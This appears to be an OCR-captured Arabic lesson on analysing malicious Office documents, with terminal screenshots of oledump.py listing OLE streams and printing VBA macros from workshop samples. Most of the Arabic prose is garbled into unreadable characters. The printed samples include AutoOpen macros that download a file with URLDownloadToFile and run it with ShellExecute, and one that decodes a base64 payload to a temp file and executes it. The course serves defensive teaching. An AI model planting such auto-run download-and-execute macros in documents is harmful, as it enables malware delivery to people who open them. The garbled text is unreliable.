ot o) € s g Sla Clatiies - 03 ¢ ad) - 5Ll clariiad) Jalas

ia yuidl) (PDF) Gl (52 (o laiione Jalail (sasgd Ja i iy el il ) 5891 5 362y olac) il g WY aa
.(Microsoft Office) cui sl i gus s Sl cilile it ga dagliall () siaiose Gl

Lot ol g 5 Sula Chlatios & R TR

AlaY a2 Ll deavadall Cilaglaall e L g giad culS 13 Lild 2 33 5had Gl Clatiae 55 Y ale (S

Sle sind A LA 5 (MS Word) 2.5 < g s jSile geabid delidall ALE (5 A1 jualic 5 pai e (g 5iad Sl ciladial)
g5 sl g g ySika (b Lgilaa e (S pualic o (5 5iad (Al & a5 (MS EXcel) Jus) i gy Sika S¥alaa 5 o8
A b (MS PowerPoint)

8yl e 2o 55 Colaiinal) ) Ala) il g Alaly et A1 (a0 g 5 S Ay A Aaliall Ol el e el oS0
Leanad iy A1 LY ¢ ) il clatinall 8 Sl Gpanad AlSa) b 5 ol Y] ) saie (e daal) 4a 5 e alaiadl
Y pald IS8 aal g 5 an g Les Lein s ol ) Lay 5 AY) colatiall g soasiall Jailas sll 5 cilacaly Hl) iV alae Jadi s 3,488

(macro) sSk (cams Lo s 5 a23ally ) puiall GAlY Leaglod 25 M8 diarade duna  Gilagled 24T ey

s AL laslas

530 "l 3y yla e Al g by Siall algall Uit & s 5 5Sle Culaine 5 HSLall Cilanlei] A0 081 aladiuY) Alls Sad
e a1 Qo YA (e dalh g dma y 4 yra gl (550 5 SLal Claglasi o L) SliSay @lld any ) jSe S0 "Lelindd" g 3aa)
el U8 e W din o sl 5Y1 e Al 1 ool e iy (s ol 8 s 5 Sl i o5 il s o) ol il 5 ) 5Y)

M\AALMJ;\JJM:\"‘»’.‘A

Y il Clana (85 58 Lppndy ot 13l 5 Lealudt S0 CaS A5 (A a5 Skall claglel Jee A4S e ¢ 3UY) die
Aaa s Aal A 53 Bana g lladad I 5 Sl ciladdad 0535 Bl 8 (5 ,AY) il A le i snal) 8 Seal dla)
AUl g s 1a 43550 8 5 (Visual Basic for Applications programming language) <lilaill cluy J) g
attall Glai s Loy ALall e 5 58l 4pal @A JalSIL Aitie el AUS) Wyl ale (S0 cluy J) sa axiind LS g

5 Ske cilaglas L calladl 8 algall 03gn Adai yall al W) i 53 JEall Qo o alaill Cilalae ) a5 Wi 5 cildlad) 5 Jie
lilaad) 2350 Lgaladiin g daliall dadiiall yal s¥1 (po i G 5 ySLall Cilagles A0S LilSaly Ml 5 Wl s o) g 5 Sl
Y ) Ly cnlalal) cada g o ST 5 e liaa e 2 g b 38 Jia 5 jlall

sie b Calall e die K Jaad Cuny Ly o5 Culaioaal) el (Say s Sl el claitiadl) e g Ul cllaglet i a3 il
O On G sh 8 g5 S U pdas g paal) e il dpilly (5 AT CBadia (s (e Gpma waie g 5l il ) e i)
Cilaglad Jaanii s Al o3a Julaat o Jadh (U5 51 35 Uileadli La sole 0811 jlany o i g 5 pplad (5S35 28 a5 SLall ilagla
DIA e Lelini GaY) (e il Lie ) 5 5 HSLall bl alaiid Ll Aelll cileall Lull 1dall (e (i sall 138 Janys ¢ 5 Sl
ollial dnai dlea JSV daiaill daiiall maal)

O gl a5 Sl ot g8 3 jliall At g Sl Clan 5 pe (s sl 8 g g jSile ClaTiuney CB) (53 (2 lile D5 e 2ie
Wl 5 pall 028l (5 (o libay 40 jlia L2 50 ST Ul 88 ST Lelany Laa Lgaidi il 3 36 ) e el 5l Judi il il
Q‘MW&}S{\@#‘&&BJL'A}\Q‘M\JS\ALHCJM\JJSM\QW@LJLA:U‘}:\SJ‘EM‘@


https://greaterinternetfreedom.org/course/part01-intro-and-vms/index.html
https://greaterinternetfreedom.org/course/analysis-of-malicious-documents-part-02-pdf-documents/index.html

S5 ¢ hall Al Gud o) Gl jlaca) eddive el Clild) o3a alaainY daliad) 5 yally Wige i€ 13 5 ¢l < g5 Sila
el 8 a1 gl el Ll

b gl ol iR

S Y Aadiiall 1 381 (S5 cale Sy G ol laitise ol 5 SLall Cilagled SVt Aadiiueall 48 sall (3 ylall (e dpaall lia**
Lot sl s 5Sla (e JalSIL A3l Ol jlaal) 8 Laladi

O s Dleall (31 AL mani i g yma g ol 485 pne (sl D gun g JSle 8 Aial S i ()5S B AT i o (ol S
5 Sl Clagla aladi)

"5a0a 1" 5 Mapaill" ol gany Sile Ol diase dana

CRAT Al Gy Bayaa lile Ciliale @lld ey g cGal ) il L) 48y jla b ol g g )Sle <y 2003 ple die
O ATl JSel) Al aa As @l ) Ly "doc." e Ya "doex." Galke NREGEY VPN IR PP PR Dt KN
Aapail) bl it e JS e 3oLl oda 853 ) sl bl )Y (salaii UL 5 Al 48y jlay 5 SLal Cilaglad () 33 ¢yl

sl

S5l e Canll SliSa (5 AY) SN o) 5l e el 5 g SLall gl 0 a0 claDlaal e 3 Jall 48 jray Liga S 1)

il il pe iS5 223 J 3 Y 5 (Object Linking and Embedding sl) Leisecai ¢ sl Ll )| o

Lot sl g syl Clatine @lld L Lay Byaal)

rud gl g g )SLe Calatiiee Julas

3130 8 5 0ledUMP.PY pddiuiu ¢ a5l b s 5 Sile Cilaitse 8 5 SUall Clas 5 il e GLEST 350 e il s
Glile e Sy g Gl 6 a1 & Bl da el ol goD Gl gall i 5 (Didier Stevens) v 4apxy W sk o5l
s 5 GLIES) (S Sy G ol g g Sle Claiise Jae S ledaY ALY clile e Al Uiyl addivin (3 60 (2

Jﬂ@asq\gd@&h&@a&&\&ﬂ\d«aﬂ\MJASJ;Q\M}\Q&)M})%&&\MJ&M&JJM\*MZ
A il (5 ginall e Jsmmnd) Jslad 5 Gle) Al e alaia Sl 5 piall sLuiY) aani s Calall 853 g sall Adlinl) yualiall Y
Led L e b ol in IS 13) e dd jadd pualial)

Oledump.py
ok et 355 gia gl (5 sinn e 5 Gane il 6 (& Liacae Lol ) LS (6 3y 8 312V 03] (o 1) alaaiaY) iy
313 ) alasiny)

oledump.py ex@01.doc

abidas oy i gl atival) aul g8 @x001.dOC s Sus


https://www.rapid7.com/db/?q=microsoft+office&type=nexpose
https://en.wikipedia.org/wiki/Object_Linking_and_Embedding
https://blog.didierstevens.com/programs/oledump-py/
https://conference.hitb.org/hitbsecconf2017ams/materials/D1T3%20-%20Didier%20Stevens%20-%20Analyzing%20Malicious%20Office%20Documents.pdf

= remnux@remnux: ~/Downloads/workshop-maldoc-1/exercises Q= - =] x

remnux@remnux:~/Downloads/workshop-maldoc-1/exercises$ oledump.py ex001.doc
114 '\x01CompObj'
4096 '\x05DocumentSummaryInformation'
4096 '\x05SummaryInformation’

: 6360 'lTable’
c 4096 'WordDocument'
remnux@remnux:~/Downloads/workshop-maldoc-1/exercises$ D
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ol remnux@remnux: ~/Downloads/workshop-maldoc-1/exercises Q = - o x

remnux@remnux:~/Downloads/workshop-maldoc-1/exercises$ oledump.py ex0®05.docx
Warning: no OLE file was found inside this ZIP container (OPC)
remnux@remnux : ~/Downloads/workshop-maldoc-1/exercisess |
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remnux@remnux: ~/Downloads/workshop-maldoc-1/exercises Q = - o X

remnux@remnux;~/Downloads /workshop-maldoc-1/exercises$ oledump.py ex808.doc.zip
1 114 '\x01CompObj"
2 4096 '\x05DocumentSummaryInformation'’
EbE 4096 '\x05SummaryInformation'
4: 6505 '1Table’
5: 416 'Macros/PROJECT'
6 65 'Macros/PROJECTwm'
7 1012 'Macros/VBA/Modulel’
8 932 'Macros/VBA/ThisDocument'
9 2469 "Macros/VBA/ VBA PROJECT®

10: 561 'Macros/VBA/dir
11: 4096 'WordDocument'’
remnux@remnux : ~/Downloads/workshop-maldoc-1/exercisess$ |
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= remnux@remnux: ~/Downloads/workshop-maldoc-1/exercises Q = - o x

remnux@remnux:~/Downloads /workshop-maldoc-1/exercises$ oledump.py -s 8 -v ex008.doc.zip
Attribute VB Name = "ThisDocument"

Attribute VB Base = "1lNormal.ThisDocument"

Attribute VB GlobalNameSpace = False

Attribute VB Creatable = False

Attribute VB PredeclaredId = True

Attribute VB Exposed = True

Attribute VB TemplateDerived = True

Attribute VB Customizable = True

remnux@remnux : ~/Downloads/workshop-maldoc-1/exercises$ l
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= remnux@remnux; ~/Downloads/workshop-maldoc-1/exercises Q = - o x

remnux@remnux:~/Downloads/workshop-maldoc-1/exercises$ oledump.py -s 7 -v ex008.doc.zip
Attribute VB Name = "Modulel"
Sub AutoOpen()

MsgBox "Hello world"
End Sub
remnux@remnux :~/Downloads/workshop-maldoc-1/exercisess$
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= remnux@remnux: ~/Downloads/workshop-maldoc-1/exercises Q| = = o x

remnux@remnux:~/Downloads/workshop-maldoc-1/exercises$ oledump.py ex013.doc.zip
1 114 '\x0@1CompObj'
2 4096 '\x05DocumentSummaryInformation’
3: 4096 '\x@5SummaryInformation’
il 6509 '1Table’
5.
6
7
8
9

421 'Macros/PROJECT'
65 'Macros/PROJECTwm'
2169 'Macros/VBA/Modulel'
924 'Macros/VBA/ThisDocument'
8 2804 'Macros/VBA/ VBA PROJECT'

10: 563 'Macros/VBA/dir
11: 4096 'WordDocument'
remnux@remnux:~/Downloads/workshop-maldoc-1/exercises$ [

= remnux@remnux: ~/Downloads/workshop-maldoc-1/exercises Q N = - a x

remnux@remnux : ~/Downloads /workshop-maldoc-1/exercises$ oledump.py -s 7 -v ex@13.doc.zip
Attribute VB Name = "Modulel"

Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As L
ong, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal 1lpfnCB
As Long) As Long

Declare Function ShellExecute Lib "shell32.dl1" Alias "ShellExecuteA" (ByVal hwnd As Long, ByV
al lpszOp As String, ByVal lpszFile As String, ByVal lpszParams As String, ByVal LpszDir As St
ring, ByVal FsShowCmd As Long) As Long

Sub AutoOpen ()
Dim strURL As String
Dim strPath As String
strURL = "http://didierstevens.com/index.html"
strPath = Environ("temp") + "\index.txt"

URLDownloadToFile @, strURL, strPath, 0, ©

ShellExecute @, "open", strPath, "", "", 1
End Sub

remnux@remnux : ~/Downloads/workshop-maldoc-1/exercises$ l
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o] remnux@remnux: ~/Downloads/workshop-maldoc-1/exercises Q = = o X

emnux:~/Downloads/workshop-maldoc-1/exercises$ oledump.py ex@15.doc.zip
114 '\x01CompObj'
4096 '\x05DocumentSummaryInformation'’
4096 '\x@5SummaryInformation’
6525 'lTable’
417 'Macros/PROJECT'
65 'Macros/PROJECTwm'
6049 'Macros/VBA/Modulel’
932 'Macros/VBA/ThisDocument'
3723 'Macros/VBA/ VBA PROJECT'
564 'Macros/VBA/dir'
11: 4096 'WordDocument'
remnux@remnux:~/Downloads/workshop-maldoc-1/exercisess$ [
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remnux@remnux: ~/Downloads/workshop-maldoc-1/exercises Qi = - o x

sQut = StrConv(bOut, vbUnicode)
If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
Decode64 = sOut

Function

AutoOpen ()

Dim strPath As String

Dim iFileNumber As Integer
Dim strPayload As String
Dim oShell As Object

strPath = Environ("temp") + "\index.txt"
strPayload = Decodeb4("SGVsbG8gd29ybGQ=")
iFileNumber = FreeFile

Open strPath For Binary As #iFileNumber

Put #iFileNumber, , strPayload

Close #iFileNumber

Set oXMLHTTP = Nothing

Set oShell = CreateObject("shell.application")
oShell.ShellExecute strPath, "", "", "open", 1
Set oShell = Nothing

End Sub

emnux:~/Download jorkshop-maldoc-1/exercisess$ I
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https://greaterinternetfreedom.org/wp-content/uploads/2023/07/ex006.doc.zip

413

65

675

924

: 2437
10: 559
11: 4096

remnux@remnux:~/Downloads/workshop-maldoc-1

remnux@remnux:~/Downloads/workshop-maldoc-1/exercises$ oledump.py ex006.doc.zip
1 114
2 4096
3: 4096
4: 6368
5 .
6
7
8
9

remnux@remnux: ~/Downloads/workshop-maldoc-1/exercises Q= - =] x

'\x01CompObj
'\x05DocumentSummaryInformation'
'\x05SummaryInformation’
'1Table’

'Macros/PROJECT'
'Macros/PROJECTwm'
'Macros/VBA/Modulel'
'Macros/VBA/ThisDocument'
‘Macros/VBA/ VBA PROJECT'
'"Macros/VBA/dir
'"WordDocument'
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o] remnuxi@remnu ~/Downleads/workshop-maldoc-1/exercises Q = = a *®

s0ut = StrConv(bOut, vbUnicode)
If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
= sOut

Function

AutoOpen_()

Dim strPath As String

Dim iFileNumber As Integer
Dim strPayload As String
Dim oShell As Object

strPath = Environ("temp") + "\index.txt"
strPayload = Decode6d(

iFileNumber = FreeFile

Open strPath For Bimary As #iFileNumber
Put #iFileNumber, , strPayload

Close #iFileNumber

Set oXMLHTTP = Nothing

Set oShell = ateObject(“shell.applic
oShell.ShellExecute strPath, *", "", “"ope
Set oShell = Nothing
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ActiveDocument.Content.Text
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https://greaterinternetfreedom.org/course/analysis-of-malicious-documents-part-04-defensive-measures-next-steps-and-closure/index.html
https://greaterinternetfreedom.org/course/analysis-of-malicious-documents-part-04-defensive-measures-next-steps-and-closure/index.html
https://greaterinternetfreedom.org/course/analysis-of-malicious-documents-part-04-defensive-measures-next-steps-and-closure/index.html
https://github.com/decalage2/oletools
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https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-320/Microsoft-Office.html
https://resources.infosecinstitute.com/topic/follina-microsoft-office-code-execution-vulnerability/
https://redcanary.com/blog/malicious-excel-macro/
https://zeltser.com/analyzing-malicious-documents/

